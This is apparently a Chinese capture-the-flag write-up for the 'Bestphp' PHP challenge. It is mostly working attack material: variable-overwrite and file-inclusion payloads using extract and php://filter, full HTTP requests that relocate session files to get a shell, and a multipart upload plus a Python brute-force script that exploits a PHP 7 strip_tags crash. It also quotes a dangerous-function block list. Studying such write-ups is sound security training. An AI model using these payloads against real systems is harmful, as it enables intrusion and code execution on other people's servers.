Bestphp
这道题提供三个文件index.php、function.php、admin.php
index.php
function.php
$value){
if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
die('Do not hack me!');
}
}
}
?>
admin.php
hello admin
解题思路一
变量覆盖,调用文件包含
从index.php可以看出$_GET['function']
和$_SESSION['name'] = $_POST['name']
可控
其中call_user_func($func,$_GET);
回调函数可利用
而且include($file);
调用了文件包含
所以,可以调用变量覆盖函数,覆盖掉$file
,从而引入文件包含
payload:
http://10.99.99.16/?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php
一开始只是highlight_file
给出index.php的源码,利用文件包含读到了admin.php和function.php的源码,不过对解题没啥卵用。
吐槽点:早上题目的环境是php7.2,extract函数是无法动态调用的,然后中午主办方偷偷改了环境为7.0,也不发公告说一声,浪费了很多时间。
调用session_start函数,修改session的位置
从index.php可以看出$_SESSION['name'] = $_POST['name']
,session的值可控,session默认的保存位置
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/var/lib/php5/sess_PHPSESSID
/var/lib/php5/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
由于ini_set('open_basedir', '/var/www/html:/tmp')
,我们包含不了/var/lib/
下的session
但是我在tmp下也找不到自己的session,所以这里的session应该是在/var/lib/
下
这里可以调用session_start函数,修改session的位置
本地的payload:
POST /xctf-bestphp/index.php?function=session_start&save_path=. HTTP/1.1
Host: 127.0.0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 21
Cookie: PHPSESSID=lfc5uk0rv8ndmjfv86u9tv6fk2
Content-Type: application/x-www-form-urlencoded
name=
这里直接把session写到了web根目录,并且内容可控
再利用变量覆盖,调用文件包含,即可get shell
http://10.99.99.16/index.php?function=extract&file=./sess_lfc5uk0rv8ndmjfv86u9tv6fk2
比赛的payload
POST /index.php?function=session_start&save_path=/tmp HTTP/1.1
Host: 10.99.99.16
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
name=
GET /index.php?function=extract&file=/tmp/sess_a9tvfth9lfqabt9us85t3b07s1&x=cat+sdjbhudfhuahdjkasndjkasnbdfdf.php HTTP/1.1
Host: 10.99.99.16
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1
Upgrade-Insecure-Requests: 1
解题思路二
王一航师傅发过一篇文章:https://www.jianshu.com/p/dfd049924258
是php7的一个小bug
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd
string.strip_tags
可以导致php7在执行过程中奔溃
如果请求中同时存在一个文件上传的请求 , 这个文件就会被因为奔溃被保存在/tmp/phpXXXXXX
(XXXXXX是数字+字母的6位数)
这个文件是持续保存的,不用竞争,直接爆破,为了爆破成功可以多线程去上传文件,生成多个phpXXXXXX
payload
burp多线程上传文件
POST /index.php?function=extract&file=php://filter/string.strip_tags/resource=function.php HTTP/1.1
Host: 10.99.99.16
Content-Length: 1701
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeScXqSzdW2v22xyk
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=17qpuv1r8g19pm503593nddq10
Connection: close
------WebKitFormBoundaryeScXqSzdW2v22xyk
Content-Disposition: form-data; name="fileUpload"; filename="test.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryeScXqSzdW2v22xyk--
爆破脚本
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import string
charset = string.digits + string.letters
host = "10.99.99.16"
port = 80
base_url = "http://%s:%d" % (host, port)
def brute_force_tmp_files():
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = i + j + k + l + m + n
url = "%s/index.php?function=extract&file=/tmp/php%s" % (
base_url, filename)
print url
try:
response = requests.get(url)
if 'wwwwwwwwwwwwww' in response.content:
print "[+] Include success!"
return True
except Exception as e:
print e
return False
def main():
brute_force_tmp_files()
if __name__ == "__main__":
main()
爆破成功后,得到成功文件包含的shell
http://10.99.99.16/index.php?function=extract&file=/tmp/phpXXXXX